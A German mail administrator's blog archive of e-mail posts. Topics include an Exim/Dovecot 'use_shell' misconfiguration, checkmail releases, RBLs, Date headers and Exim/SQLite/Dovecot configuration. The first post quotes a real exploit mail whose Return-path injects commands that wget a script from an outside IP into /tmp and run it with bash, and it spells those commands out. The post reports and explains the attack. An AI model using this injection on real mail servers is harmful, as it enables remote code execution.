Aus dem Leben eines Szlauszafs (Entries tagged as e-mail)

Vom Advisory zum Exploit binnen eines Tages

thh@inter.net (Thomas Hochstein) — Sun, 05 May 2013 11:29:31 +0200

Am Freitag, dem dritten Mai, wurde ein Warnhinweis (Advisory) auf eine weit verbreitete Fehlkonfiguration in der Kombination von Exim mit Dovecot publiziert: ein offenbar seit 23.10.2009 im Dovecot-Wiki veröffentliches Konfigurationsbeispiel für Exim, mit dem eingehende E-Mails durch den zu Dovecot gehörenden LDA deliver ausgeliefert werden sollen, enthielt auch die Option “use_shell”, die dazu führt, dass der Aufruf insgesamt zur Ausführung an die Shell weitergegeben wird. Das is potentiell unsicher, wie auch die Exim-Dokumentation erläutert:

Not running the command under a shell (by default) lessens the security risks in cases when a command from a users filter file is built out of data that was taken from an incoming message. If a shell is required, it can of course be explicitly specified as the command to be run. However, there are circumstances where existing commands (for example, in .forward files) expect to be run under a shell and cannot easily be modified. To allow for these cases, there is an option called use_shell, which changes the way the pipe transport works. Instead of breaking up the command line as just described, it expands it as a single string and passes the result to /bin/sh. The restrict_to_path option and the $pipe_addresses facility cannot be used with use_shell, and the whole mechanism is inherently less secure.

Wenn es jemandem gelingt, ausführbaren Code in diesen Aufruf einzuschleusen, kann er fremden Code mit den Rechten von Exim ausführen, die im Moment der Auslieferung von Mail mit dem LDA deliver bestenfalls Zugriff auf alle Mailboxen ermöglichen und bei leichtsinniger Konfiguration - die im Dovecot-Wiki als eine Konfigurationsmöglichkeit ausdrücklich genannt wird! - schlimmstenfalls sogar root sind. Und dieses Einschleusen ist ausgesprochen einfach, enthält der Aufruf von deliver doch u.a. den Absender der E-Mail, den sog. Envelope-From (oder auch Return-Path), bspw. so:

command = /usr/local/libexec/dovecot/dovecot-lda -d $local_part@$domain -f $sender_address

$sender_address ist hier der problematische Parameter, denn diesen Parameter kann der Absender der E-Mail frei setzen. Durch die Option use_shell wird der obige Aufruf nach Ersatz der Variablen ohne jede Modifikation komplett an die Shell übergeben und ggf. entsprechender Code ausgeführt.

Am 02.05.2013 wurde das Beispiel im Wiki für Dovecot 1.x und auch in der Dokumentation für Dovecot 2.x berichtigt, am 03.05.2013 wurde das Advisoy veröffentlicht.

Und schon am Abend des Folgetages flog mir auf einem meiner Server folgende - ansonsten notwendige Header und vor allen auch einen Inhalt nicht enthaltende - E-Mail zu, die das Beispiel für einen Exploit aus dem Advisory abgewandelt übernommen hat:

Return-path: <red`wget${IFS}178.218.211.118/b${IFS}-O${IFS}/tmp/a.pl``bash${IFS}/tmp/a.pl`team@example.com>
Envelope-to: postmaster@greenmeadow.szaf.org
Delivery-date: Sat, 04 May 2013 21:57:19 +0200
Received: from [178.218.211.118] (helo=abcde.com)
    by greenmeadow.szaf.org with esmtp (Exim 4.72)
    (envelope-from <red`wget${IFS}178.218.211.118/b${IFS}-O${IFS}/tmp/a.pl``bash${IFS}/tmp/a.pl`team@example.com>)
    id 1UYia4-000387-Es
    for postmaster@greenmeadow.szaf.org; Sat, 04 May 2013 21:57:19 +0200
Subject: test

Die oben gezeigte problematische Konfiguration würde dann dazu führen, dass bei der Auslieferung der Mail die beiden folgenden Befehle mit den Rechten des Mailservers ausgeführt würden:

wget 178.218.211.118/b -O /tmp/a.pl
bash /tmp/a.pl

Es würde also die Datei b von der Maschine heruntergeladen und in der Datei a.pl im Verzeichnis /tmp gespeichert und dann ausgeführt.

Glücklicherweise verwende ich zwar sowohl Exim als auch Dovecot, aber in einer anderen Konfiguration, so dass dieser Versuch eines Exploits kein Problem darstellte, aber man merkt einmal wieder, wie schnell nahc der Veröffentlichung von Advisories man von solchen Versuchen, bestehende Programm- oder Konfigurationsfehler auszunutzen, betroffen wird.

(Als ich mich damit näher beschäftigt habe, war die o.g. Datei übrigens bereits nicht mehr aufrufbar.)

checkmail 0.5 released

thh@inter.net (Thomas Hochstein) — Sun, 24 Jul 2011 00:32:03 +0200

Nach einem guten Jahr habe ich mal wieder Zeit zu einer kleinen Änderung in checkmail gefunden, die ich dann sogleich als Version 0.5 released habe.

checkmail überprüft die ihm übergebenen E-Mail-Adressen nun zunächst auf syntaktische Richtigkeit (wobei allerdings auf der Domain-Seite keine in eckigen Klammern stehenden IP-Adressen akzeptiert werden), bevor er weitere Tests damit durchführt.

Die Dokumentation wurde entsprechend aktualisiert.

Die aktuelle Version steht jeweils auf meiner Downloadseite zur Verfügung.

RBLs, RBL-Checks und "sie wissen nicht, was sie tun"

thh@inter.net (Thomas Hochstein) — Mon, 18 Oct 2010 21:07:00 +0200

RBLs (Realtime Blackhole Lists) sind mittlerweile über ein Jahrzehnt alt und eine weitverbreitete Methode der Filterung unerwünschter E-Mails. In diese Listen, die über das DNS propagiert werden, trägt der jeweilige Betreiber nach seinen Kriterien die IP-Adressen von Hosts ein, die gefiltert werden sollen. Manche dieser Listen sind sinnvoll, andere sind es nicht; manche zählen Spam-Quellen auf, offene Proxies und Relays, von Malware befallene Systeme, andere jedes System, dessen Betreibers Nase dem RBl-Provider nicht passt. Wer RBLs einsetzt, muß sich also informieren, welche Policy eine RBL verfolgt, und wie zuverlässig sie das tut.

Neben den RBLs gibt es auch Anbieter, die prüfen, ob bestimmte Systeme auf diesen RBLs landen; das sollte jeder Admin größerer Mailsysteme eigentlich selbst tun, um ggf. (das für die Listung ursächliche Problem zu beheben und dann) die Löschung von der jeweiligen RBL zu veranlassen, aber für diejenigen, die das nicht tun können oder möchten, sind solche Angebote sicher interessant. Nur sollten diese Anbieter von RBL-Checks auch wissen, was sie da eigentlich tun, was wohl nicht immer sichergestellt ist ...

Ich bekam jedenfalls dieser Tage (mal wieder) einen Hinweis, eines meiner Systeme sei in der RBL hostkarma.junkemailfilter.com gelandet; wie der Name andeutet, versucht deren Betreiber Mailserver in gute, schlechte oder neutrale einzuteilen. Wie zuvor habe ich daraufhin mein System auf den Webseiten des RBL-Betreibers geprüft und bekam - wie immer - als Antwort, das System sei nicht gelistet. Diesmal bin ich der Sache nachgegangen und habe festgestellt, daß der RBL-Check-Anbieter grundsätzlich Recht hat: meine Maschine war tatsächlich in der RBL eingetragen! Aber warum bestreitet das der RBL-Provider dann? Nun, meinem System war dort der Wert “127.0.0.1” zugewiesen. Und der RBL-Provider meint zu diesem Wert folgendes:

127.0.0.1 - whilelist - trusted nonspam

Danke, keine weiteren Fragen mehr.

Format des Date:-Headers in E-Mails

thh@inter.net (Thomas Hochstein) — Thu, 30 Sep 2010 19:38:30 +0200

Aufgrund einer bei mir eingegangenen Anfrage habe ich mich heute mal mit dem korrekten Format eines Date:-Headers in einer E-Mail befasst.

Ein Leser meiner Homepage schilderte mir das Problem, das automatisch generierte E-Mails aus seiner Webanwendung bei ihm im Posteingang von GMX (Webinterface) immer mit dem Datum “01.01.1970” angezeigt würden, in seinem Mailclient (Outlook) aber korrekt. Das Datum (die “Epoche”) roch natürlich nach fehlendem oder nicht standardkonformen Date:-Header ... Nach Überlassung eines Beispiels konnte ich sehen, daß die Anwendung den Header nach dem Muster Wed, 29 Sep 10 22:45:24 generiert. Meine erste Vermutung, daß das Jahr vierstellig angegeben werden müsse, erwies sich als falsch ... aber die zweite, nämlich daßdie Angabe der Zeitzone fehlt, als goldrichtig.

Der letzte STD 10, RFC 822, sieht die Angabe einer Zeitzone nämlich ebenso wie seine Nachfolger, RFC 2822 und der momentan auf dem Standard Track befindliche RFC 5322 (der künftige Standard) als zwingend vor; eine Datumsangabe ohne diese ist somit nicht nur uneindeutig, sondern auch syntaktisch fehlerhaft. Test-E-Mails an GMX bestätigten dann auch, daß im Posteingang der Weboberfläche (nur) die Mails mit fehlender Zeitzone fälschlisch auf den 1.1.1970 datiert wurden. Interessanterweise wurde das Datum aber in der Einzelansicht der E-Mails - genau wie auch in meinem Mailclient - korrekt (in der - hier ja auch zutreffenden - lokalen Zeitzone) angezeigt.

Die Anwendung sollte dementsprechend nachgebessert werden, um undefinierte Ergebnisse zu vermeiden.

checkmail 0.4 released

thh@inter.net (Thomas Hochstein) — Sat, 19 Jun 2010 13:58:00 +0200

Nach dem gestrigen Release der praktisch komplett neu geschriebenen Version 0.3 von checkmail kann ich heute die Version 0.4 von checkmail ankündigen, die die eigentlich geplanten Änderungen enthält.

checkmail erkennt temporäre Fehler - bspw. auch beim Greylisting - jetzt als solche, statt diese E-Mail-Adressen als nicht zustellbar zu definieren; außerdem werden in jedem Fall die Antworten des Mailservers standardmäßig ausgegeben.

Überdies kann checkmail jetzt selbst eine tatsächlich zufällige - und damit mit hoher Sicherheit nicht zustellbare - E-Mail-Adresse erzeugen, wenn geprüft werden soll, ob der betreffende Mailserver überhaupt schon im SMTP-Dialog die Zustellbarkeit überprüft (ansonsten sind positive Antworten keine Garantie für die Existenz der geprüften Adresse). Die übrigen Konfigurationsangaben (der zu verwendende Absender und die Angaben für HELO/EHLO) können nun nicht nur im Script definiert, sondern auch auf der Kommandozeile übergeben werden.

Die Dokumentation wurde entsprechend aktualisiert.

Die aktuelle Version steht jeweils auf meiner Downloadseite zur Verfügung.

checkmail 0.3 released

thh@inter.net (Thomas Hochstein) — Fri, 18 Jun 2010 23:23:08 +0200

Nach rund 5 Jahren Pause habe ich nunmehr eine neue Version 0.3 von checkmail released, einem Kommandozeilen-Tool zur Überprüfung der Zustellbarkeit von E-Mail-Adressen.

Im Prinzip wurde das Script komplett neu geschrieben, modularisiert, neu strukturiert und in den Kommentaren vereinheitlicht. Außerdem habe ich die Ausgaben neu gefaßt und ausführlicher gemacht; MXe werden jetzt zuverlässig in der nach dem DNS vorgegebenen Reihenfolge ausprobiert, Multi-Line-Antworten ordnungsgemäß protokolliert und der Exit-Status bei der Batch-Verarbeitung von Adressen sinnvoll gesetzt (womit zugleich eine Veränderung der Bedeutung des Exit-Status verbunden war).

Außerdem wurde die Dokumentation im POD-Format in das Script integriert und ins Englische übersetzt und ein Changelog hinzugefügt.

Die aktuelle Version steht jeweils auf meiner Downloadseite zur Verfügung.

Beharrlichkeit ist nicht alles

thh@inter.net (Thomas Hochstein) — Tue, 06 Apr 2010 06:55:00 +0200

Meine Mailserver erwarten, daß derjenige, der eine E-Mail einliefern möchte, sich ordnungsgemäß “vorstellt” (also ein einigermaßen korrektes HELO bzw. EHLO überträgt, namentlich nicht den - respektive einen der - Namen meiner eigenen Maschinen und auch keine bloße IP-Adresse). Normalerweise fängt dieser vergleichsweise “weiche” Filter nicht viel Spam weg (und “härter” filtern, bspw. überprüfen, ob die Vorwärts-Rückwarts-Auflösung stimmt o.ä., möchte ich darauf nicht).

In den letzten Tagen hat sich allerdings namentlich eine Maschine aus Venezuela geradezu rührend bemüht, trotzdem E-Mail loszuwerden:

root@host:~# zgrep -c wonderl.com /var/log/exim/mainlog.*
/var/log/exim/mainlog.01:32569
/var/log/exim/mainlog.02.gz:133069
/var/log/exim/mainlog.03.gz:164318
/var/log/exim/mainlog.04.gz:161655
/var/log/exim/mainlog.05.gz:142325

Das sind gestern rund 32.500 Versuche, und die vier Tage zuvor, mithin über Ostern, jeweils deutlich über 100.000. Ich würde ja gerne wissen, ob das immer dieselbe E-Mail sein sollte (nachdem die Versuche in der Regel maximal im Sekundenabstand liegen, liegt das allerdings eher fern), oder ob mir da massiv Spam erspart geblieben ist ... Jedenfalls eine durchaus bemerkenswerte Penetranz, die dort an den Tag gelegt wurde.

Manche sind lernfähig ...

thh@inter.net (Thomas Hochstein) — Mon, 11 Jan 2010 21:40:00 +0100

... andere sind es weniger.

Ich hatte bereits im vergangenen Jahr berichtet, wie wenig zuverlässig E-Mail als Medium mittlerweile oft ist, dann aber positiv überrascht zur Kenntnis nehmen dürfen, wie vergleichsweise schnell auch ein großer Anbieter wie Ebay auf entsprechende Hinweise reagiert und die (gar nicht im Ernst erwarteten) notwendigen Änderungen an seinen Mailsystemen vornimmt. Nunmehr kann ich berichten, daß andere Anbieter zwar dasselbe Problem haben, aber die Reaktion leider nicht immer gleich kompetent ist. Vodafone versendet E-Mails nämlich gleichfalls mit nicht existenten Absendern; mein entsprechender Hinweis wurde schnell, aber leider nur so beantwortet:

Guten Tag Herr Hochstein,

Ihr Hinweis hilft uns, Fehler zu erkennen und uns zu verbessern. Vielen Dank dafür. Leider können wir in diesem Fall keinen weiteren Support leisten. Eine Änderung des Absenders bei automatischen Bestätigungen ist nicht angedacht.

Sicherlich werden Ihre User keine Problemne haben, wenn sie Ihnen Mails über ihr Vodafone-MobileMail Postfach versenden.

Den ersten Absatz verstehe ich, auch wenn er mir inhaltlich nicht gefällt, aber, ganz ehrlich: was der zweite Absatz mir sagen will, ist mir schleierhaft. *kopfkratz* Am Problem der mit ungültigem Absender versandten automatisierten Bestätigungen geht diese Antwort doch völlig vorbei.

Mailzustellung: Reaktion von Ebay

thh@inter.net (Thomas Hochstein) — Wed, 16 Dec 2009 22:02:00 +0100

Es geschehen noch Zeichen und Wunder! Auf meine Anfang November an den Support gestellte Frage bzw. den Hinweis auf Probleme beim Mailversand durch Ebay bzw. der Zustellung solcher E-Mails kam - nach einem Zwischenbescheid - nunmehr eine Antwort in der Sache:

Sehr geehrter Herr Hochstein,

Sie hatten sich an eBay gewandt, da Ihre Nutzer nicht alle E-Mail von uns erhalten haben.

Durch Sie und andere E-Mail-Provider sind wir auf eine Änderung in der Kopfzeile unserer Benachrichtigungen hingewiesen worden. Dies könnte der Auslöser für das geschilderte Problem gewesen sein. Um diese Fehlerquelle auszuschliessen, haben diese Änderung jetzt korrigiert.

Herr Hochstein, bitte informieren Sie uns, ob Ihre Nutzer ab dem 16.12.2009 noch Benachrichtigungen vermissen.

Ich danke Ihnen für Ihre Mühe und wünsche Ihnen eine angenehme Woche.

Und die Überprüfung hat tatsächlich eine Behebung des Problems ergeben: die im Envelope-From bzw. Return-Path (dem “technischen” Absender der E-Mail) verwendeten Adressen existieren jetzt wieder bzw. nehmen E-Mail entgegen.

Erfreulich, daß man sich bei Ebay solcher Probleme tatsächlich annimmt und sie behebt. Das motiviert dazu, auch in anderen Fällen entsprechend tätig zu werden.

Umabonnieren von Mailinglisten

thh@inter.net (Thomas Hochstein) — Sun, 13 Dec 2009 21:58:00 +0100

Nachdem ich im letzten Monat meine Verwaltung personalisierter E-Mail-Adressen auf eine bequeme Weboberfläche umgestellt hatte, habe ich dieses Konzept nun auch auf meine abonnierten Mailinglisten erweitert.

Bislang habe ich alle Mailinglisten mit derselben E-Mail-Adresse abonniert, die ich dann per UUCP abgerufen habe. Das hatte den protokollbedingten Vorteil, daß die E-Mails komprimiert wurden, aber den Nachteil, daß ich keine Kontrolle über die Konfiguration des MX hatte, also auch keine Spamfilterung implementieren konnte, und daß bei einem Wechsel des Providers auch diese E-Mail-Adresse verlorengeht, dann also plötzlich alle bezogenen Mailinglisten unter anderer Adresse neu abonniert werden müssen. Und schließlich kamen über diese Adresse geradezu ungeheure Mengen an Spam an, geschuldet den Webarchiven der meisten Mailinglisten. Also habe ich mich nun entschieden, auch für den Bezug von Mailinglisten jeweils individualisierte Mailadressen unter einer (anderen) Subdomain einzusetzen; das erleichtert es überdies, bei Problemen mit der Abbestellung einer Liste einfach die entsprechende Bezugsadresse stillzulegen.

Das Hauptproblem bei einer solchen Umstellung ist es, die bisherige Bezugsadresse aus jeder einzelnen Liste aus- und die neue Bezugsadresse dann wiederum in jede Liste neu einzutragen (von der Reihenfolge her natürlich andersherum, damit keine Mailverluste auftreten). Und man glaubt gar nicht, wie schnell man dabei Low-Traffic-Listen (Ankündigungen o.ä.) vergißt ...

Schon seit langer Zeit (tatsächlich wiederum Jahren) habe ich daher Scripts laufen, die versuchen, aus den über die Zustellung an meine Mailnglistenadresse geschriebenen Logs möglichst alle betroffenen Mailinglisten zu isolieren. Und ausgerüstet mit diesen Listen, einer Liste der Mailinglisten, an deren Bezug ich mich bewußt erinnere und einer Liste meiner Mail2News-Gateways habe ich nunmehr die Herkules-Aufgabe begonnen, alle Mailinglisten umzustellen (und manche dabei direkt abzubestellen). Ich bin gespannt, welche Listen ich vergessen werde ...

Dazu waren ergänzende Umstellungen “drumherum” erforderlich: bspw. bei der lokalen Auslieferung der Mailinglistenmails, die Filter und Mail2News-Gateways berücksichtigen muß, oder auch bei der Konfiguration der richtigen Absenderadresse für jede Mailingliste in Mailclient oder Newsreader, damit eventuelle Antworten auf die Listen dann auch auf diesen landen und nicht abgewiesen werden, weil sie von einer Adresse kommen, die dem Mailinglistensystem unbekannt ist. Und das Logging wollte angepaßt werden, und ... und ... und ...

Ich bin gespannt, wie sich diese Umstellung bewähren wird.

Mailinglisten umgezogen

thh@inter.net (Thomas Hochstein) — Mon, 16 Nov 2009 07:16:00 +0100

Angeregt durch den ohnehin erforderlichen Umzug des Mailinglistenservers Mailman auf eine neue Maschine habe ich jetzt endlich auch die - historisch gewachsene - Konfiguration der meisten Mailinglisten geändert und bei der Gelegenheit auch eine Vielzahl bereits seit Jahren “toter” Mailinglisten - ggf. nach Rücksprache mit dem jeweiligen Betreiber - entsorgt. Die Konfigurationsänderung besteht in erster Linie in einer Änderung des per Default genutzten Hostnamens bzw. der Domain von “list.th-h.de” (Singular, da es anfangs eine Parallelinstallation “lists.th-h.de” gab ...) zu “lists.szaf.org”, weil es schließlich weniger um ein nur von mir genutztes Angebot geht als vielmehr um einen Dienst, der auch anderen zur Verfügung stehen soll. Selbstverständlich bleiben die bisher genutzten Namen für die bestehenden Listen verfüg- und nutzbar.

Praktisch finde ich, daß sich Mailman so konfigurieren läßt, daß - je nach dem Hostname, unter dem das Webinterface aufgerufen wird - jeweils nur die Mailinglisten angezeigt werden, die unter der entsprechenden Domain angelegt sind. Ein Aufruf von list.th-h.de bringt also ein anderes Ergebnis als ein Aufruf von lists.szaf.org (natürlich nur soweit die Mailinglisten überhaupt öffentlich angezeigt werden).

Zuverlässigkeit von E-Mail als Medium

thh@inter.net (Thomas Hochstein) — Sun, 08 Nov 2009 22:54:00 +0100

Man sagt, E-Mail sei in früheren Zeiten technisch bedingt ein eher unzuverlässiges Medium gewesen: schmale Anbindungen, schwachbrüstige oder unter Leistungsgesichtspunkten knapp kalkulierte Server, Auslieferung über viele verschiedene Zwischenstationen (Hops), teilweise über Systeme, die nicht permanent ans Internet angebunden sind (store-and-forward), teilweise auch unzuverlässige Software, zumindest bei einem hinreichend breit gefaßten Begriff von E-Mail auch viele verschiedene, zueinander inkompatible Formate (Internet-E-Mail, X.400, Mail über UUCP, private Nachrichten in Mailboxnetzen, ...), die untereinander umgesetzt werden mußten, teilweise über Netzgrenzen hinweg.

Das ist heute Vergangenheit. E-Mail wird in der Regel nur noch als “Internet-E-Mail” ausgetauscht, die betreffenden Server sind per ausreichend dimensionierter Standleitung ans Netz angebunden und entsprechend leistungsmäßig - wenn sich natürlich auch jede Infrastruktur durch genügend E-Mails, meistens im Rahmen der Versendung von Spam oder Malware, in die Knie zwingen läßt -, die Protokolle sind verfeinert und erweitert und man muß nicht mehr damit rechnen, daß irgendwelche Konvertierungen zu Informationsverlusten führen oder sich zwingend auf den ASCII-Zeichensatzvorrat (ohne Umlaute o.ä. oder gar “Anhänge”) beschränken.

Dieser Zugewinn an technischer Sicherheit wird m.E. aber leider oft durch administrative Maßnahmen mehr als aufgewogen: technisch mag es zwar trivial sein, E-Mail auszuliefern, aber administrativ führen Abwehrmaßnahmen gegen tatsächliche oder vermeintliche Bedrohungen (Blacklists, Filterung jenseits technisch zwingender Notwendigkeit, Greylisting, Sender-Verification-Callouts, SPF und Co., BATV, DKIM und Co., Spam-, Viren- und andere Contentfilter etc. pp.) und nicht selten auch bloße Inkompetenz derjenigen, die “mal eben” einen Mailserver aufsetzen, dazu, daß die Mailzustellung faktisch langsamer und schwieriger wird und teilweise für den Absender noch nicht einmal erkenbbar wird, daß seine E-Mail den Adressaten nicht erreicht hat). Das gilt insbesondere, wenn verschiedene Filtertechniken oder Konfigurationen auf Absender- und Empfängerseite miteinander interagieren, was zu unerwarteten Folgen führen kann.

Es muß nicht immer so schlimm sein wie bei dem vor mehr als einem Jahr zitierten Beispiel ungeeigneter Filterung bei einem Handwerksunternehmen. Ein schönes (?) Beispiel, daß suboptimale Konfigurationen auch bei großen Anbietern im IT-Sektor vorkommen, bot bereits Mitte des Jahres 1&1 beim Rechnungsversand per E-Mail, als plötzlich die verwendeten Absenderadressen (Envelope-From, Return-Path) als solche nicht existent waren bzw. keine Mail für diese Absender angenommen wurde (was in meinem Fall dazu führte, daß diese E-Mails nicht angenommen wurden, weil eventuelle Zustellfehler, die protokollgemäß an diese Adresse zu leiten wären, sonst nicht mitgeteilt werden können). Dasselbe Spiel durfte ich nun als Verantwortlicher für den Mailverkehr meiner Benutzer mit Ebay erleben; auch dort wurden (offenbar zumindest schon seit Oktober) E-Mails mit nicht-existenten Absendern versandt, wobei das Problem wohl in erster Linie in der Verwendung der Domain “ebay.de” lag (die meisten verwendeten Adressen innerhalb dieser Domain waren nicht existent; unterhalb der Domain “ebay.com” waren diese Adressen aber angelegt).

Was tun, sprach Zeus? Die erste Reaktion war natürlich das Whitelisting der betreffenden Hosts, damit die Nutzer auf jeden Fall erst einmal ihre Mails erhalten. Der zweite Schritt war die Suche nach einem Ansprechpartner bei Ebay; normalerweise müßte man ja unter der Mailadresse “postmaster” den technisch Verantwortlichen für den Mailverkehr erreichen, aber das erscheint mir heutzutage und zumal bei größeren Unternehmen eine doch ehr optimistische Annahme. Also machte ich mich auf die Suche nach Kontaktadressen auf den Ebay-Webseiten, nur um festzustellen, daß die einzige Möglichkeit der Kontaktaufnahme offenbar ein Webformular - natürlich nur mit unpassenden Kategorien - darstellt. Nun gut, also habe ich das Problem möglichst laienkompatibel - aber technisch korrekt - beschrieben und dort mit der Bitte um Weiterleitung eingekippt. Mal sehen, was daraus wird. Mit einer Konfigurationsänderung oder auch nur Verständnis für das Problem rechne ich eigentlich nicht ernsthaft, aber vielleicht gibt es immerhin eine Rückmeldung (und eine Verbesserung des status quo versuchen sollte man m.E. in jedem Fall).

(Nicht viel einfacher im übrigen die Frage, in welcher Usenet-Newsgroup man solche Probleme am besten erörtert. Von der Charta her wäre die passende Gruppe für Probleme bei der Mailzustellung de.comm.software.mailserver, was aus der Sicht der hierarchischen Einordnung und auch angesichts des Themas nur begrenzt sinnvoll erscheint und sich historisch erklärt; die Gruppe hieß früher einmal de.admin.mail und war für alle administrativen (einschließlich, aber eben nicht nur der technischen) Fragen rund um den Mailverkehr zuständig. Diese Charta wurde bei der späteren Verschiebung unverändert übernommen. Sachnäher erscheint da allerdings fast de.admin.net-abuse.mail, immerhin geht es da um (Maßnahmen gegen) Netzmißbrauch per E-Mail, also in erster Linie um Spam und Viren (per Mail) und die entsprechenden Gegenmaßnahmen. Und natürlich könnte man auch an de.admin.misc denken, aus der Hierarchie kam de.admin.mail schließlich her. Ich habe mich dann für ein Crossposting zwischen de.admin.net-abuse.mail und de.comm.software.mailserver mit Führung der Diskussion in der letzteren Gruppe entschieden, was wohl kein Fehler war.)

Update 2009-12-16: Es geschehen noch Zeichen und Wunder! Ebay hat nicht nur zwischendurch mitgeteilt, man habe das Problem an die Technik weitergeleitet, sondern hat inzwischen auch geantwortet, mehr oder weniger Probleme aufgrund einer Konfigurationsänderung eingeräumt und gebeten, zu prüfen, ob das Problem noch besteht. Und das ist derzeit nicht der Fall: die verwendeten Absenderadressen auch unterhalb der Domain “ebay.de” sind jetzt wieder zustellbar.

Personalisierte Mailadressen

thh@inter.net (Thomas Hochstein) — Sun, 08 Nov 2009 22:04:00 +0100

Schon seit vielen Jahren verwende ich eine Subdomain zur Vergabe von personalisierten E-Mail-Adressen, die ich dann für Zwecke verwenden kann, bei denen ich meine normale E-Mail-Adresse nicht preisgeben möchte, bspw. das Abonnieren von Newslettern, an deren Seriösität ich Zweifel habe, für Webshops etc. pp. Das hat den Vorteil, daß sich über diese personalisierten E-Mail-Adressen nachvollziehen läßt, aus welcher Quelle bspw. Spammer ihre Adressen bezogen haben, und, viel wichtiger, daß sich diese Adressen rückstandslos entsorgen lassen, wenn sie missbraucht werden. Insgesamt eine gute Idee; die Frage ist immer nur, wie man sich diese Adressen erzeugt.

Meine erste Lösung war ein Catch-All, was aber den Zweck der Übung letztlich konterkarierte, weil man auf diese Weise eine unbegrenzte Anzahl valider E-Mail-Adressen erzeugt und Spam potentiell potenziert. Zwar kann man bestimmte Adressen selektiv deaktivieren, bspw. über eine Aliases-Datei, in der sie explizit geerdet werden und ein Catch-All als Fallback für nicht explizit definierte Adressen verwendet wird, aber Spammer permutieren Adressen gerne; wenn man abashop@domain.example deaktiviert, bekommt man stattdessen vielleicht Mail an abasho@domain.example und an abash@domain.example und an ... So hat sich das nicht bewährt.

Also habe ich die Adressen stattdessen in einer Aliases-Datei explizit definiert (und für eine Übergangszeit doch einen Catch-All als Fallback verwendet, für den Fall, daß ich eine bereits verwendete Adresse vergessen hatte ...). Das tat etliche Jahre seinen Zweck, hatte aber den Nachteil, daß ich mich für Änderungen immer erst auf dem entsprechenden Host einloggen und die Datei ändern mußte. Unbequem und, wenn man gerade unterwegs ist und nur Webzugriff hat, erst gar nicht möglich. Also habe ich reichlich oft doch meine Hauptadresse für diverse Anmeldungen verwendet; diesen Nachteil gab es bei der Verwendung des Catch-All nicht.

Die Lösung wäre - so war mir ebenfalls seit langer Zeit klar - die Verwendung eines bequemen, nach Möglichkeit webbasierten Interfaces zur Anlage neuer solcher Adressen, damit der innere Schweinehund nicht mehr dazwischenkommen kann. Und diese Lösung habe ich jetzt endlich umgesetzt. Zumindest provisorisch, aber das wird vermutlich wieder so ein langlebiges Provisorium werden ...

Der richtige Weg ist eigentlich ganz einfach: eine Weboberfläche, mit der man Mailadressen anlegen, ändern und löschen kann, dazu eine Datenbank, in der sie gespeichert werden, und eine Änderung in der Exim-Konfiguration, damit der Mailserver auf diese Datenbank zugreift. Bereits Ende 2007/Anfang 2008 habe ich das für das “Szafshosting” gelöst; auf diese Lösung konnte ich jetzt für mich aufsetzen. Allerdings habe ich mich - aus mir mittlerweile selbst unklaren Gründen - entschlossen, als Datenbank diesmal nicht mySQL, sondern SQLite zu verwenden, was zu weniger amüsanten Abstechern zu den verschiedenen SQLite-Versionen führte: mit der einen kann Exim nicht umgehen (dort wird SQLite 3.x benötigt), die andere wird von PHP nicht nativ unterstützt (da geht es nämlich um SQLite 2.x). *tiefseufz* Die Lösung war dann, den Zugriff in PHP noch einmal neu mittels PHP Data Objects (PDO) zu implementieren; auf diese Weise wird nämlich auch SQLite 3.x unterstützt.

Die Datenbank für die Mailadressen sieht recht einfach aus:

CREATE TABLE addresses (keyid INTEGER PRIMARY KEY ASC, domain TEXT, mail TEXT, comment TEXT);

Dort werden dann Mailadressen - auch unter verschiedenen Domains - abgelegt. Exim wird dann mitgeteilt, in welchen Domains Adressen via SQLite vergeben werden, und für diese Adressen ein entsprechender Router angelegt:

sqlite_aliases:
  driver = redirect
  domains = /etc/exim/domains-sqlite
  require_files = /etc/exim/sqlite-address.db
  data = ${lookup sqlite {/etc/exim/sqlite-address.db \
         select target from addresses where mail=’${quote_sqlite:$local_part}’ \
         and domain=’${quote_sqlite:$domain}’;}}
  user = exim
  check_ancestor
  file_transport = address_file
  pipe_transport = address_pipe

Wenn man einmal dabei ist, kann man in ähnlicher Weise auch “virtuelle Mailboxen” als Maildir im Home des jeweiligen Users unterstützen. Die zugehörige SQLite-Datenbank sieht so aus:

CREATE TABLE mailuser (keyid INTEGER PRIMARY KEY ASC, username TEXT, password TEXT, uid TEXT);

Der zuständige Router in Exim für diese “virtuellen Mailboxen”, implementiert als lokal zustellbare Adresse, sieht folgendermaßen aus:

sqlite_user:
  driver = accept
  domains = +hostname
  local_parts = ${lookup sqlite {/etc/exim/sqlite-mailboxes.db \
         select username from mailuser where username=’${quote_sqlite:$local_part}’ }}
  address_data = ${lookup sqlite {/etc/exim/sqlite-mailboxes.db \
         select uid from mailuser where username=’${quote_sqlite:$local_part}’ }}
  transport = sqlite_delivery
  cannot_route_message = Unknown user

Und so sieht der zugehörige Transport aus:

sqlite_delivery:
  driver = appendfile
  maildir_format = true
  directory = /home/$address_data/mailstore/$local_part
  delivery_date_add
  envelope_to_add
  return_path_add
  user = $address_data
  group = users
  mode = 0660

Abfragen muß man die Mailboxen natürlich auch; als POP3-/IMAP-Server verwende ich Dovecot. Dort wird folgendes in der Konfiguration ergänzt:

passdb sql {
  # Path for SQL configuration file, see /etc/dovecot/dovecot-sql.conf for example
  args = /etc/dovecot/sqlite.conf
}

Und die Datei /etc/dovecot/sqlite.conf sieht so aus (ohne Zeilenumbrüche):

driver = sqlite
connect = /etc/exim/sqlite-mailboxes.db
default_pass_scheme = PLAIN
password_query = SELECT username as user, password, ‘/home/’ || uid || ‘/mailstore/’ || username AS userdb_home,
	’maildir:/home/’ || uid || ‘/mailstore/’ || username AS userdb_mail, uid AS userdb_uid, 100 AS userdb_gid
	FROM mailuser WHERE username = ‘%u’

Und siehe da: es tut.

Beschlagnahme von E-Mails: BVerfG bestätigt BGH

thh@inter.net (Thomas Hochstein) — Thu, 16 Jul 2009 07:00:00 +0200

Ich hatte bereits am 20.05.2009 über die bemerkenswerte Entscheidung des BGH zur Beschlagnahme von E-Mails beim Provider (“in der Mailbox”) berichtet, nach der die Vorschriften über die Postbeschlagnahme einschlägig sind, nicht etwa § 100a StPO, mit der Folge, daß weder eine Katalogtat noch ein gesteigerter Tatverdacht (“bestimmte Tatsachen”) noch eine ultima-ratio-Situation vorliegen müssen. Ich hatte dabei auch bereits (vielleicht etwas süffisant) angemerkt, daß das BVerfG schon seit Ende 2006 anläßlich einer Verfassungsbeschwerde über dieser Frage brütet.

